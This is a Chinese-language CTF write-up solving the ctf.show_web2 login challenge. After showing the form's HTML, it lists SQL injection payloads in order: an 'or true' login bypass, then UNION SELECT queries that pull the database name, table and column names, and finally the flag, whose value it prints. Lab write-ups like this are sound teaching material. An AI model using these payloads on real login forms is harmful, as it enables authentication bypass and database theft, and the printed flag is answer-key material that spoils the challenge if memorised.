ctf.show_web2-爱代码爱编程
题目:
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web2</title>
</head>
<body>
<center>
<h2>ctf.show_web2</h2>
<hr>
<form method="post">
用户名:<input type="text" name="username"><br><br>
密 码:<input type="password" name="password"><br><br>
<input type="submit" value="登陆">
</form>
</center>
</body>
</html>
解题思路:
题目是登陆框,猜测是SQL注入。先对万能密码尝试
password=1&username=1' or true #

果然存在SQL注入,但是没有flag回显。可能考点并非万能登陆,而是flag存放在数据库里。接下来爆一下ctfshow的占位符是几
password=1&username=1' union select 1,2,3 #

已知占位符是2,开始爆数据库库名
password=1&username=1' union select 1,database(),3 #

已知数据库库名为web2,继续爆数据库表
password=1&username=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #

当前已知表名是flag和user这两个表,很有可能flag在flag表中或者flag在flag表的字段里。继续爆字段
以下两种payload均可
password=2&username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag' #
password=2&username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() #

之前一直没找到flag,flag也许就藏在表内容里了。最后爆出flag表中的内容
以下两种payload均可
password=2&username=1' union select 1,(select * from flag),3 #
password=2&username=1' union select 1,(select flag from flag),3 #

获得题目flag为:ctfshow{1aefca01-afd4-4527-a35b-c5a8be893ae0}